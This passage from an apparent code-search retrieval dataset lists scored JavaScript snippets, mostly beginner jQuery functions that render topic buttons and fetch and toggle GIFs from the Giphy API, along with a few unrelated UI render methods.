Adding a data-attribute with a value of the animal at index i\n a.text(uniqueAnimals[i]);// Providing the button's text with a value of the animal at index i\n $(\"#animals-view\").append(a);// Adding the button to the HTML\n }// Close for loop\n\n //Animal button on click query Giphy API\n $('.animal').click(function() {\n animalData = $(this).data(\"name\")// \"name\" returns \n console.log(\"67 API call name: \" + animalData)//WORKING pulling data from .animal \"this\" button\n\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + animalData + \"&api_key=dc6zaTOxFJmzC&limit=10\";\n\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function(response) {\n console.log(\"75: \" + JSON.stringify(response.data));\n \n $(\".gif-view\").empty();\n\n var response = response.data\n\n for (var i = 0; i < response.length; i++) {//loop through data for needed responses\n var rating = response[i].rating;//rating\n var stillURL = response[i].images.fixed_height_still.url;//image\n var animateURL = response[i].images.fixed_height.url;//Animate\n var content = $(\"<div class='content'>\");\n var ratingP = $(\"<p>\").text(\"Rating: \" + rating);\n var image = $(\"<img class='image'>\").attr({\n \"src\" : stillURL,\n \"data-still\" : stillURL,\n \"data-animate\" : animateURL\n });\n \n content.append(ratingP, image);// add rating and the image to the page\n // rendering the content to the .gif-view\n $(\".gif-view\").prepend(content);\n }\n\n $(\".image\").on(\"click\", function () {\n var state = $(this).attr(\"data-type\");\n if ($(this).attr(\"data-type\") === \"animate\") {\n $(this).attr(\"src\", $(this).attr(\"data-still\"));\n $(this).attr(\"data-type\", \"still\");\n } else {\n $(this).attr(\"src\", $(this).attr(\"data-animate\"));\n $(this).attr(\"data-type\", \"animate\");\n console.log(\"THERE\")\n\n }\n });\n\n });\n });\n}// Close function renderButton ", "title": "" }, { "docid": "a8f6ff96e0b681aa8b2160ac0661060a", "score": "0.5138949", "text": "_render() {\n const proxy = fromCache(this, CACHE_KEY_PROXY);\n const config = fromCache(this, CACHE_KEY_CONFIGURATION);\n const { el, mask, pages, pageIndex } = proxy;\n // Render buttons only once. Load them from cache if already rendered and\n // attached to the dom:\n const [next, previous] = fromCache(this, CACHE_KEY_BUTTONS, () => {\n const target = mask !== null && mask !== void 0 ? mask : el;\n const { template, className, previousClassName, previousLabel, previousTitle, nextClassName, nextLabel, nextTitle, } = config;\n // Create button elements:\n const settings = [\n {\n controls: el.id,\n label: nextLabel,\n title: nextTitle,\n className: [className, nextClassName].join(' '),\n // The onClick listener is already bound in the constructor.\n //\n // eslint-disable-next-line @typescript-eslint/unbound-method\n handler: this._onNext,\n },\n {\n controls: el.id,\n label: previousLabel,\n title: previousTitle,\n className: [className, previousClassName].join(' '),\n // The onClick listener is already bound in the constructor.\n //\n // eslint-disable-next-line @typescript-eslint/unbound-method\n handler: this._onPrev,\n },\n ];\n return settings.map((_a) => {\n var _b;\n var { handler } = _a, params = __rest(_a, [\"handler\"]);\n const button = render(template, params);\n if (!button) {\n return null;\n }\n button.addEventListener(EVENT_CLICK, handler);\n (_b = target.parentNode) === null || _b === void 0 ? void 0 : _b.insertBefore(button, target.nextSibling);\n return button;\n });\n });\n if (next) {\n const lastPage = pages[pageIndex + 1];\n const isLastPage = lastPage === undefined;\n next.disabled = isLastPage;\n }\n if (previous) {\n const firstPage = pages[pageIndex - 1];\n const isFirstPage = firstPage === undefined;\n previous.disabled = isFirstPage;\n }\n }", "title": "" }, { "docid": "17e2af94915c3de748628ccf639a122c", "score": "0.51340896", "text": "function renderButtons() {\n\n // delete buttons prior to adding new buttons - avoids repeats\n $(\"#buttons\").empty();\n\n // Looping through the array of tv shows\n for (var i = 0; i < topics.length; i++) {\n\n //generate button\n var addTVShow = $(\"<button>\");\n addTVShow.addClass(\"tvshow\");\n addTVShow.attr(\"data-name\", topics[i]);\n addTVShow.text(topics[i]);\n $(\"#buttons\").append(addTVShow);\n };\n}", "title": "" }, { "docid": "238539dc057522e0082eb2c3baa5f2c1", "score": "0.51329285", "text": "function renderBtn() {\n\n // Clears the field prior to adding new input (important to avoid repeated buttons)\n $(\"#gif-buttons\").empty();\n\n // Loop through array\n for (var i = 0; i < topics.length; i++) {\n\n // Then dynamically generate buttons for each GIF (jQuery automatically creates beginning and end tags)\n let a = $(\"<button>\");\n // Adds class\n a.addClass(\"gif\").addClass(\"btn btn-outline-info\");\n // Adds a data-attribute\n a.attr(\"data-name\", topics[i]).attr(\"type\", \"button\");\n // Inputs text of topics\n a.text(topics[i]);\n // Appends button to the button div\n $(\"#gif-buttons\").append(a);\n }\n }", "title": "" }, { "docid": "f8b20a515a540f05cf0d0f11c2417bea", "score": "0.5132784", "text": "function renderButtons() {\n\n $(\"#topics-view\").empty();\n\n // for loop for the array\n for (var i = 0; i < topics.length; i++) {\n\n // Then dynamicaly generating buttons for each movie in the array.\n var a = $(\"<button>\");\n // Adding a class\n a.addClass(\"topic\");\n // Adding a data-attribute with a value of the topic at index i\n a.attr(\"data-topic\", topics[i]);\n //Adding data-state attribute to rendered gifs\n a.attr(\"data-state\", \"still\");\n // Providing the button's text with a value of the topic at index i\n a.text(topics[i]);\n // Adding the button to the HTML\n $(\"#topics-view\").append(a);\n }\n }", "title": "" }, { "docid": "5535e174d44f34650e1730b727d18ec2", "score": "0.51317656", "text": "function gifParty() {\n // Varible\n var thing = $(this).attr('gif-button');\n // Varible for the API query\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" +\n thing + \"&api_key=CTIYyaADzGAhNxyC7wuygpfs2KvTq4MN&limit=10\";\n\n $.ajax({\n url: queryURL,\n method: \"GET\"\n })\n .then(function (response) {\n console.log(response);\n\n var result = response.data;\n // console.log(result);\n\n for (var i = 0; i < result.length; i++) {\n var gifDiv = $('<div>');\n\n var rating = result[i].rating;\n console.log(rating);\n\n var p = $('<p>').text('Rating: ' + rating);\n\n var gifImage = $('<img>');\n var gifImageStill = result[i].images.fixed_height_still.url;\n var gifImageAnimate = result[i].images.fixed_height.url;\n\n gifImage.attr('src', result[i].images.fixed_height_still.url);\n gifImage.addClass('gif');\n gifImage.attr('gif-still', gifImageStill);\n gifImage.attr('gif-animate', gifImageAnimate);\n gifImage.attr('gif-state', 'still');\n\n\n gifDiv.prepend(p);\n gifDiv.prepend(gifImage);\n\n $('#gifDump').prepend(gifDiv);\n };\n\n //Pause and play feature\n $(\".gif\").on(\"click\", function () {\n\n var state = $(this).attr('gif-state');\n\n if (state === \"still\") {\n $(this).attr(\"src\", $(this).attr(\"gif-animate\"));\n $(this).attr('gif-state', 'animate');\n }\n else if (state === \"animate\") {\n $(this).attr(\"src\", $(this).attr(\"gif-still\"));\n $(this).attr('gif-state', 'still');\n }\n });\n });\n}", "title": "" }, { "docid": "aed66380dcfe4ca6496833175a74a89b", "score": "0.51263654", "text": "function renderGifs(a) {\n // places \"data-name\" in variable\n var gifCat = a;\n // variable to keep offset value for placing in query url\n var offset = 0;\n // Loop to determine which movie button was pressed and update offset variable with correct value depending on how many times the button has been pressed\n for (var i=0; i < topics.length; i++) {\n if (a == topics[i].movie) {\n offset = (topics[i].presses - 1) * 10;\n }\n }\n // variable to store the query url\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + gifCat + \"&api_key=mluAjBbyX0q2FntZs3a6RO8l5lUJXRzI&limit=10&offset=\" + offset;\n // ajax call to get 10 gif results\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function (response) {\n // Puts the array of gifs into a variable then loops through the variable to create the necessary html and prepends the finished gif card to the page\n rspArray = response.data;\n for (var i = 0; i < rspArray.length; i++) {\n var catDiv = $(\"<div class='card mr-3 mb-3 pb-2 float-left gifCard'></div>\");\n var cdBody = $(\"<div class='card-body'></div>\");\n var gfRating = $(\"<p class='text-center rating'><strong>Rating: \" + rspArray[i].rating + \"</strong></p>\");\n gfRating.attr(\"rating\", rspArray[i].rating);\n var fav = $(\"<strong><p class='text-center pb-0' id='fav-tag'>Favorite</p></strong>\");\n var dnld = $(\"<strong><a href='\" + rspArray[i].images.fixed_height.url + \"'download='giphy.gif class='dnld' target='_blank'>Download</a>\");\n var gfImg = $(\"<img class='card-img-top makeMeGo' src='\" + rspArray[i].images.fixed_height_still.url + \"' alt='gif'/>\");\n gfImg.attr({\"data-still\": rspArray[i].images.fixed_height_still.url, \"data-animate\": rspArray[i].images.fixed_height.url, \"data-state\": \"still\"});\n cdBody.append(gfRating, fav, dnld);\n catDiv.append(gfImg, cdBody);\n\n $(\"#gif-view\").prepend(catDiv);\n }\n });\n\n }", "title": "" }, { "docid": "20879bdf6c3998928b09b46ca00ed219", "score": "0.5122018", "text": "function renderButtons() {\n //Empty the buttons div before rending new buttons\n $(\"#buttonsDiv\").empty();\n\n //Render a button for each item in the array\n buttons.forEach(function (item, i) {\n const btn = $(\"<button>\");\n btn.addClass(\"summonGifBtn btn btn-light shadow-sm m-1\");\n btn.attr(\"data-name\", item);\n btn.text(item)\n\n $(\"#buttonsDiv\").append(btn);\n });\n}", "title": "" }, { "docid": "bf41504fc9f9c4cfd8cf8f0832c3c57d", "score": "0.51204807", "text": "function updateKamikaseDisplay() {\n\tkamikaseButton.innerHTML = map.getKamikaseHTML();\n}", "title": "" }, { "docid": "1a7efb314ee017b18f6c1e0681d60815", "score": "0.51169837", "text": "function ajaxTimeseries(url,token) {\n request = 'timeseries';\n return $.ajax({\n url : url+request+'?Api-Token='+token\n }).done(function(data) {\n var endpoint = url+request+'?Api-Token='+token\n var myJSON = JSON.stringify(data)\n $('#timeseries .endpoint').html(endpoint)\n $('#timeseries .print-json').html(myJSON)\n }).error(function(error) {\n $('#timeseries .print-json').html('no data to display')\n $('#timeseries .endpoint').css('color','#c31425')\n if (error.statusText == \"error\") {\n $('#timeseries .endpoint').html('an error occured')\n }\n if (error.statusText == \"Not Found\" || error.statusText == \"Unauthorized\") {\n $('#timeseries .endpoint').html(error.responseJSON.error.message)\n }\n })\n}", "title": "" }, { "docid": "1bd68bd6af212beed7163b0d2fceddd2", "score": "0.5115767", "text": "function renderButtons() {\n\n // Deleting the movies prior to adding new movies\n // (this is necessary otherwise you will have repeat buttons)\n $(\"#buttons-view\").empty();\n\n // Looping through the array of movies\n for (var i = 0; i < quotes.length; i++) {\n\n // Then dynamicaly generating buttons for each movie in the array\n // This code $(\"<button>\") is all jQuery needs to create the beginning and end tag. (<button></button>)\n var a = $(\"<button>\");\n // Adding a class of movie-btn to our button\n a.addClass(\"quote-btn-\" + i);\n // Adding a data-attribute\n a.attr(\"data-name\", quotes[i]);\n // Providing the initial button text\n a.text(quotes[i]);\n // Adding the button to the buttons-view div\n $(\"#buttons-view\").append(a);\n }\n }", "title": "" }, { "docid": "4e1a13734329e41375997ab3827ec37d", "score": "0.51112014", "text": "function renderButtons() {\n\t$(\"#arrayButtons\").empty();\n\tfor (var i = 0; i < topics.length; i++) {\n\t\tvar a = $(\"<button>\");\n\t\ta.addClass(\"emotion\");\n\t\ta.addClass(\"btn-success\");\n\t\ta.attr(\"data-name\", topics[i]);\n\t\ta.text(topics[i]);\n\t\t$(\"#arrayButtons\").append(a);\n\t}\n\n// When you click on a button this function will add gifs to the page.\n\n$(\"button\").on(\"click\", function() {\n\t$(\"#gifs-appear-here\").empty();\n\tvar emotion = $(this).attr(\"data-name\");\n\tvar queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + emotion + \"&api_key=dc6zaTOxFJmzC&limit=10\";\n\n\t$.ajax({\n\t url: queryURL,\n\t method: 'GET'\n\t }).done(function(response) {\n\t console.log(response);\n\n\t var results = response.data;\n\n\t for (var j = 0; j < results.length; j++) {\n\t \tvar newDiv = $(\"<div>\");\n var p = $(\"<p>\");\n p.text(\"↓ Rating: \" + results[j].rating.toUpperCase());\n newDiv.addClass(\"col-md-4\", results[j]);\n\n\t\tvar newImage = $(\"<img>\");\n\t\tnewImage.attr(\"src\", results[j].images.fixed_height_still.url);\n\t\tnewImage.attr(\"data-still\", results[j].images.fixed_height_still.url);\n\t\tnewImage.attr(\"data-animate\", results[j].images.fixed_height.url);\n\t\tnewImage.attr(\"data-state\", \"still\");\n\t\tnewImage.addClass(\"gif\", results[j]);\n \n newDiv.append(p);\n newDiv.append(newImage);\n\n $(\"#gifs-appear-here\").append(newDiv);\n\t };\n\n// Need function to animate and still the gifs\n\n\t $(\".gif\").on(\"click\", function() {\n\tvar state = $(this).attr(\"data-state\");\n\t\n\tif (state === \"still\") {\n var dataAnimateValue = $(this).attr(\"data-animate\");\n $(this).attr(\"src\", dataAnimateValue);\n $(this).attr(\"data-state\", \"animate\");\n } else {\n var dataStillValue = $(this).attr(\"data-still\");\n $(this).attr(\"src\", dataStillValue);\n $(this).attr(\"data-state\", \"still\");\n };\n \n });\t\n});\n\n});\n}", "title": "" }, { "docid": "30956fedbcf5c684b803811943bdab49", "score": "0.51065147", "text": "function renderButtons() {\n\t$(\"#buttons\").empty();\n\n\t// Loops through the array of TV shows\n\tfor (var i=0; i < tvshows.length; i++) {\n\n\t\t// generate buttons for each tv show in the array\n\t\tvar a = $(\"<button class='btn btn-primary shows'>\");\n\t\t// add a class of tvshow to the button\n\t\ta.addClass(\"tvshow\");\n\t\t// add a data-atrribute\n\t\ta.attr(\"data-name\", tvshows[i]);\n\t\t// provide button text\n\t\ta.text(tvshows[i]);\n\t\t// add the button to the buttons div\n\t\t$(\"#buttons\").append(a);\n\t}\n}", "title": "" }, { "docid": "fa8a56477f2200ac41dfe88071dd1629", "score": "0.5106013", "text": "function useApiData(gifs) {\n gifBox.innerHTML = `<img class=\"bubble\" src = \"${gifs.data.images.original.url}\">`;\n anime({\n targets: \".bubble\",\n translateZ: \"550\",\n scale: 1.2,\n });\n} //do something with the API data you've received.", "title": "" }, { "docid": "4391c2daa23caf2e5b46eab8255dd8dd", "score": "0.5102062", "text": "function renderButtons() {\n var buttonsDiv = $('<div class=\"buttons\">');\n $(\"#buttons\").append(buttonsDiv);\n $('<div class=\"buttons\">');\n for (var i = 0; i < movies.length; i++) {\n var gifButton = $('<button type=\"button\" id=\"' + movies[i] + '\" class=\"movie btn btn-dark m-1\"\">' + movies[i] + '</button>')\n $(\".buttons\").append(gifButton);\n }\n $(\"#form\").html('<input class=\"form-control-sm new-movie\" type=\"text\" placeholder=\"more movies...\"><button type=\"button\" class=\"query_btn btn m-1 btn-dark btn-default btn-sm\" id=\"new-movie\">Add movie</button>')\n }", "title": "" }, { "docid": "be7c8c469d254743d69ea8aacf1a8bb4", "score": "0.50991017", "text": "function displayGifs() {\n // Empties container holding gifs, if any, to display the topics from the button that was pressed\n // Sets videoGame to equal the data-name attribute assigned when the buttons are created\n // ajax call to giphy api that limits the search to 10 results\n $('#gifsView').empty();\n var videoGame = $(this).attr('data-name');\n var queryURL = 'https://api.giphy.com/v1/gifs/search?q=' + videoGame + '&api_key=LO0wlQcDyKguVdmxVhn7CHeqlHgGIazS&limit=10';\n\n $.ajax({\n url: queryURL,\n method: 'GET'\n }).then(function(response) {\n var results = response.data;\n\n // This loops through the responses and gives them their own div and img tag\n // Then assigns a number of attributes to the image to be called on later when starting/stopping gifs\n // A rating is pulled from the response and added below the image then appends the divs to the gifsView div already on index.html\n for (var i = 0; i < results.length; i++) {\n var gifDiv = $('<div>');\n gifDiv.addClass('floater');\n\n var gameGif = $('<img>');\n gameGif.attr('src', results[i].images.original_still.url);\n gameGif.attr('data-still', results[i].images.original_still.url);\n gameGif.attr('data-animated', results[i].images.original.url);\n gameGif.attr('data-state', 'still');\n gameGif.addClass('gif');\n gifDiv.append(gameGif);\n\n var rating = results[i].rating;\n var ratingText = $('<p>').addClass('text-border').text(`Rating: ${rating}`);\n\n gifDiv.append(ratingText);\n\n $('#gifsView').append(gifDiv);\n }\n }) \n } // End of displayGifs()", "title": "" }, { "docid": "b12f8ba5037e6af9dc40d3c9324b19a2", "score": "0.50943154", "text": "function showHero() {\n\n \n var hero = $(this).attr(\"data-name\");\n\n //add the api key and the search criteria to the queryURL\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + hero + \"&api_key=owjTQC0BsgQZpHL22pZDVTyHLvfVcrGS&limit=10&offset=0\"\n\n //the API call using ajax\n $.ajax({\n url: queryURL,\n method: \"GET\"\n }).then(function(response) {\n\n console.log(response);\n\n //for loop to go through the data and pull the images, rating and title (bonus)\n for (var k = 0; k < 10; k++) {\n var tenGIFs = response.data[k].images.original.url;\n var tenGIFsPaused = response.data[k].images.original_still.url;\n var tenRatings = response.data[k].rating;\n var title = response.data[k].title;\n\n //writing all the info above to the gif view div. Prepend so the giphys show up on top of the old ones.\n $(\"#gif-view\").prepend(\"<img src=\" + tenGIFsPaused + \" class='gif' data-still=\" + tenGIFsPaused + \" data-animate=\" + tenGIFs + \" data-state='still'>\").prepend(\"<p id='ratingDiv'> Rating: \" + tenRatings + \"</p>\").prepend(\"<p id='titleDiv'> Title: \" + title + \"</p>\");\n \n }\n //click event for the GIF to animate/pause\n $(\".gif\").on(\"click\", function(event) {\n event.preventDefault();\n var state = $(this).attr(\"data-state\");\n if (state === \"still\") {\n $(this).attr(\"src\", $(this).attr(\"data-animate\"));\n $(this).attr(\"data-state\", \"animate\");\n } else {\n $(this).attr(\"src\", $(this).attr(\"data-still\"));\n $(this).attr(\"data-state\", \"still\");\n }\n });\n });\n\n}", "title": "" }, { "docid": "44e7d5e772c6d66d2da4be5433c0b919", "score": "0.5091861", "text": "function renderButtons(){\n $(\"#heart-view\").empty();\n \n for(var i=0;i<response.data.length;i++){\n var a = $(\"<button>\");\n console.log(i);\n a.addClass(\"btn btn-primary\");\n a.attr(\"search\",response[i]);\n a.text(response[i]);\n $(\"#hearts-view\").append(a);\n const button2 = $(\"<button>\").addClass('btn btn-primary')\n .attr('search',response[i])\n .text(response[i]);\n $(\"#hearts-view\").append(a);\n }\n }", "title": "" }, { "docid": "f7214ebf55a86c02a3665f627df337d7", "score": "0.50913143", "text": "function Api(){\n\n\t $(\".button\").on(\"click\", function() {\n\t \t$('#animal-Gifs').html(\"\");\n\t \t//taking the text of clicked on button\n\t \tconst animal = $(this).text();\n\t \tconsole.log(animal);\n\t \t//searching for animal variable that was clicked on\n \tconst queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" + \n \tanimal + \"&api_key=WzRExc4fETub8MziKY7hy0hZ9jDu2ZoX&limit=10\";\n\n $.ajax({\n url: queryURL,\n method: \"GET\"\n })\n .done(function(response) {\n \tconsole.log(response);\n\n \tconst results = response.data;\n\n \tfor (let i = 0; i < results.length; i++){\n\n \t\tconst animalDiv = $('<div>');\n \t\tconst p = $('<p>').text(\"Rating : \" + results[i].rating);\n \t\tconst animalImage = $(\"<img>\");\n \t\t//initial image displayed\n \t\tanimalImage.attr(\"src\", results[i].images.fixed_height_still.url);\n \t\t//making the attr still so we can pause and play\n \t\tanimalImage.attr(\"data-state\", 'still');\n \t\t//gif displayed when animated\n \t\tanimalImage.attr(\"data-animate\", results[i].images.fixed_height.url);\n \t\t//gif displayed when still\n \t\tanimalImage.attr(\"data-still\", results[i].images.fixed_height_still.url);\n \t\tanimalImage.addClass('gif');\n\n\n \t\tanimalDiv.append(p);\n \t\tanimalDiv.append(animalImage);\n\n \t\t$(\"#animal-Gifs\").prepend(animalDiv);\n \t}\n\n \t\t$(\".gif\").on('click', function(){\n\t\t\t\t//finding the current state of the image\n\t \t\t\tconst state = $(this).attr(\"data-state\");\n \t\t\t//if its still then when clicked on it will animate\n \t\t\t//and change the data-state to animate\n \t\t\tif (state === \"still\") {\n \t\t\t$(this).attr(\"src\", $(this).attr(\"data-animate\"));\n \t\t$(this).attr(\"data-state\", \"animate\");\n \t\t\t} else {\n \t\t\t//if its animated when clicked on it will change to still\n \t\t\t$(this).attr(\"src\", $(this).attr(\"data-still\"));\n \t\t\t$(this).attr(\"data-state\", \"still\");\n \t\t\t}\n\t \t\t});\n\n });\n });\n }", "title": "" }, { "docid": "4f872d39a3521fed4052fc01fe5bad3d", "score": "0.5090384", "text": "function handleGifButtonClick() {\n\n // In this case, the \"this\" keyword refers to the button that was clicked\n var show = $(this).attr(\"data-name\");\n\n // Constructing a URL to search Giphy for the name of the show\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" +\n show + \"&api_key=dc6zaTOxFJmzC&limit=10\";\n\n // Performing our AJAX GET request\n $.ajax({\n url: queryURL,\n method: \"GET\"\n })\n\n // After the data comes back from the API\n .done(function (response) {\n\n // Before looping through and appending, clear the div\n $(\".thar-be-gifs-here\").html(\"\");\n\n // Take the response and store it in the results variable\n var results = response.data;\n\n // Looping over every result item\n for (var i = 0; i < results.length; i++) {\n\n // Creating a div with the class \"item\"\n var gifDiv = $(\"<div class='item'>\");\n\n // Storing the result item's rating\n var rating = results[i].rating;\n\n // Creating a paragraph tag with the result item's rating\n var p = $(\"<p>\").text(\"Rating: \" + rating);\n\n // Creating an image tag\n var showImage = $(\"<img>\");\n\n // Giving the image tag a src attribute of a proprty pulled off the result item\n showImage.attr(\"src\", results[i].images.fixed_width_still.url);\n\n // Giving the image tag a data-still attribute of a proprty pulled off the result item\n showImage.attr(\"data-still\", results[i].images.fixed_width_still.url);\n\n // Giving the image tag a data-animate attribute of a proprty pulled off the result item\n showImage.attr(\"data-animate\", results[i].images.fixed_height.url);\n\n // Giving the image tag an attribute data-state that is set to still\n showImage.attr(\"data-state\", \"still\");\n\n // Adding a class of gif to our img for animation\n showImage.addClass(\"gif\");\n\n // Appending the paragraph and showImage to the \"gifDiv\" div created in line 26\n gifDiv.append(p);\n gifDiv.append(showImage);\n\n // Prepending the gifDiv to the \"#gifs-appear-here\" div in the HTML\n $(\".thar-be-gifs-here\").prepend(gifDiv);\n }\n\n // Once images are rendered bind click event to them\n $(\".gif\").on(\"click\", changeGifState);\n\n });\n }", "title": "" }, { "docid": "8cd178581b4db7b958d506f4573a2221", "score": "0.5089997", "text": "function renderButtons() {\n \n //deleting the show buttons prior to adding new show buttons\n $(\"#shows-view\").empty();\n \n //looping through the array of shows\n for (var i=0; i < shows.length; i++) {\n \n //dynamically generate buttons for each show in the array.\n //this code $(\"<button>\") is all jquery needs to create the start and end tag. (<button></button>)\n var a = $('<button>');\n //Adding a class\n a.addClass('show');\n \n //adding a data-attribute with a value of the television at index i\n a.attr('data-name', shows[i]);\n //providing the button's text with a value of the show at index i\n a.text(shows[i]);\n //adding the button the html\n $(\"#shows-view\").append(a);\n }\n s=\n $(\"#show-input\").focus();\n \n }", "title": "" }, { "docid": "53fd15e84c86dbedd026d7d4f599c929", "score": "0.5087356", "text": "function renderButtons() {\n //empty button box\n $(\"#btnBox\").empty();\n //begin for loop to go through gifButton array and append the \n //strings inside to buttons in the div with id btnBox\n for (var i = 0; i < gifButtons.length; i++) {\n //defines variable which dynamically creates new button\n var newBtn = $(\"<button>\");\n //adds class \"gifButton\" to new button\n newBtn.addClass(\"gifButton\");\n // changes the data-name attribute to the strings in array \n //gifButtons\n newBtn.attr(\"data-name\", gifButtons[i]);\n //alters the text of the new button to the strings in array\n //newButton\n newBtn.text(gifButtons[i]);\n //appends the new buttons to the div with id \"btnBox\"\n $(\"#btnBox\").append(newBtn);\n }\n $(\".gifButton\").on(\"click\", function() {\n $(\"#gifBox\").empty();\n //creates variable which grabs the data-name attribute from\n //the clicked button\n var name = $(this).attr(\"data-name\");\n //sets variable as the url to grab relevant data-name gifs\n var queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" +\n name + \"&api_key=dc6zaTOxFJmzC&limit=10\";\n //ajax call to giphy API\n $.ajax({\n url: queryURL,\n method: \"GET\"\n })\n //stops ajax call and retreives response\n .done(function(response) {\n //set a variable as the data in the response\n var result = response.data;\n console.log(result);\n //creates a for loop to go through the list of\n //objects retrieved by the ajax call\n for (var i = 0; i < result.length; i++) {\n var rating = result[i].rating;\n var rateTag = $(\"<p>\").text(\"Rated: \" + rating);\n console.log(rating);\n //creates a variable gifImage which dynamically \n //creates an image\n var gifImage = $(\"<img>\");\n //displays the rating next to the gif\n $(\"#gifBox\").prepend(rating, gifImage);\n //changes the src attribute to the specific image desired\n //from the images object, also changes \"data-state\"\n //to still, and provides image \n gifImage.attr({\n \"src\": result[i].images.fixed_height_still.url,\n \"data-state\": \"still\",\n \"data-still\": result[i].images.fixed_height_still.url,\n \"data-animate\": result[i].images.fixed_height.url\n });\n // $(\"gifBox\").prepend(rateTag);\n //prepends the images to the div with id gifBox\n $(\"#gifBox\").prepend(gifImage);\n\n $(gifImage).on(\"click\", function() {\n var state = $(this).attr(\"data-state\");\n if (state === \"still\") {\n $(this).attr(\"src\", $(this).attr(\"data-animate\"));\n $(this).attr(\"data-state\", \"animate\");\n } else {\n $(this).attr(\"src\", $(this).attr(\"data-still\"));\n $(this).attr(\"data-state\", \"still\");\n }\n })\n }\n //starts function for an on-click \n \n })\n\n })\n\n\n}", "title": "" }, { "docid": "943914ebb3d02b3da41b377875720432", "score": "0.5081411", "text": "addJitsiButton() {\n var container = this.buttonContainer;\n if (!container)\n return;\n\n var description = this.description;\n\n container.addClass('button_container');\n container.append(\n '<div id=\"jitsi_button\" ' +\n 'class=\"goog-inline-block jfk-button jfk-button-action ' +\n 'jfk-button-clear-outline\">' +\n '<a href=\"#\" style=\"color: white\"></a>' +\n '</div>');\n description.update(this.location);\n }", "title": "" }, { "docid": "bfca37ff97a273c7604b78819f41a0b4", "score": "0.5080782", "text": "function renderButtons() {\n $(\"#giphyButtons\").empty();\n\n for (var i = 0; i < arrHero.length; i++) {\n var a = $(\"<button>\");\n a.addClass(\"hero-btn\");\n a.attr(\"data-name\", arrHero[i]);\n a.text(arrHero[i]);\n $(\"#giphyButtons\").append(a);\n }\n}", "title": "" }, { "docid": "03d35b8e3fb6a3dc1674f6d07576293d", "score": "0.50797564", "text": "function renderButtons() {\r\n\r\n // Deleting the gifs prior to adding new gifs\r\n // (this is necessary otherwise you will have repeat buttons)\r\n $(\"#buttons-view\").empty();\r\n\r\n // Looping through the array of gifs\r\n for (var i = 0; i < gifs.length; i++) {\r\n\r\n // Then dynamicaly generating buttons for each gif in the array\r\n var a = $(\"<button>\");\r\n // Adding a class of gif-btn to our button\r\n a.addClass(\"btn btn-outline-primary\");\r\n // Adding a data-attribute\r\n a.attr(\"data-name\", gifs[i]);\r\n // Providing the initial button text\r\n a.text(gifs[i]);\r\n // Adding the button to the buttons-view div\r\n $(\"#buttons-view\").append(a);\r\n console.log(a);\r\n }\r\n }", "title": "" }, { "docid": "33309f761ede80217d4eab0b665ddfea", "score": "0.5072734", "text": "function renderButtons() {\n\n // Deleting the gifs prior to adding new gifs\n $(\"#gif-buttons\").empty();\n\n // Looping through the array of people\n for (var i = 0; i < person.length; i++) {\n\n // Then dynamicaly generating buttons for each person in the array\n // This code $(\"<button>\") is all jQuery needs to create the beginning and end tag. (<button></button>)\n var a = $(\"<button>\");\n // Adding a class of gif-btn to our button\n a.addClass(\"gif-btn\");\n // adds an Id to your attr\n a.attr('id', i.toString());\n // Adding a data-attribute\n a.attr(person[i]);\n // Providing the initial button text\n a.text(person[i]);\n // Adding the button to the buttons-view div\n $(\"#gif-buttons\").append(a);\n }\n }", "title": "" }, { "docid": "73e1a403989ea34ae0a485b5b93ba5f7", "score": "0.5071581", "text": "function displayGiphy() {\n\tvar animal = $(this).attr(\"data-name\");\n\tvar apiKey = \"&api_key=dc6zaTOxFJmzC\";\n\tvar queryURL = \"https://api.giphy.com/v1/gifs/search?q=\" +\n animal + \"&api_key=dc6zaTOxFJmzC&limit=10\";\n // Performing an AJAX request with the queryURL\n $.ajax({\n url: queryURL,\n method: \"GET\"\n })\n\t .done(function(response) {\n\t console.log(response);\n\n\t var results = response.data;\n\t $('#gif-wrapper').empty();\n\n\t /*********************************************\n\t\tloops through results and pulls the images and\n\t\tdata we need\n\t **********************************************/\n\t for (var i = 0; i < results.length; i++) {\n\t\t\tvar animalDiv = $(\"<div class='col-sm-3'>\");\n\t\t\tvar rating = results[i].rating;\n // Creating a paragraph tag with the result item's rating\n var p = $(\"<p>\").text(\"Rating: \" + rating);\n\t\t\tvar animalImage = $(\"<img>\");\n\t\t\tanimalImage.attr(\"src\", results[i].images.downsized_still.url);\n\t\t\tanimalImage.attr(\"src\", results[i].images.downsized_still.url).addClass(\"animalImage\");\n\t\t\tanimalImage.attr(\"data-animated\", results[i].images.downsized.url);\n\t\t\tanimalImage.attr(\"data-state\", \"still\");\n\n\t\t\tanimalDiv.append(p);\n\t\t\tanimalDiv.append(animalImage);\n\n\t\t\t$(\"#gif-wrapper\").prepend(animalDiv);\n\n\n\t\t\tvar state = $(this).attr(\"data-state\");\n\n\t\t\t/****************************************************\n\t\t\twhen the image is clicked change the attribute/source\n\t\t\t*****************************************************/\n\n\t\t\t $(document).on(\"click\",\"img\", function() {\n\t\t\t\t\n\t\t\t\t$(this).attr(\"src\", $(this).attr(\"data-animated\"));\n \t\t\n\t\t\t });\n\n\t\t\t}\n\n\t });\n}", "title": "" }, { "docid": "29fd2a90947e9ccd8105d76cc028cb39", "score": "0.5069189", "text": "_createSceneryButton(buttons) {\r\n\t\tlet tokenButton = buttons.find((b) => b.name === 'token');\r\n\t\tif (tokenButton && game.user.isGM) {\r\n\t\t\ttokenButton.tools.push({\r\n\t\t\t\tname: 'scenery',\r\n\t\t\t\ttitle: 'NT.ButtonTitle',\r\n\t\t\t\ticon: 'fas fa-theater-masks',\r\n\t\t\t\tvisible: game.user.isGM,\r\n\t\t\t\ttoggle: true,\r\n\t\t\t\tactive: this.sharedState.scenery,\r\n\t\t\t\tonClick: (toggle) => {\r\n\t\t\t\t\tthis.scenery(toggle);\r\n\t\t\t\t},\r\n\t\t\t});\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "4b8e446f1847311da9d6f4dce9714fa8", "score": "0.5068454", "text": "render() {\r\n\t\treturn (\r\n\t\t\t\r\n\t\t\t<div className=\"container\">\r\n\t\t\t\t<div 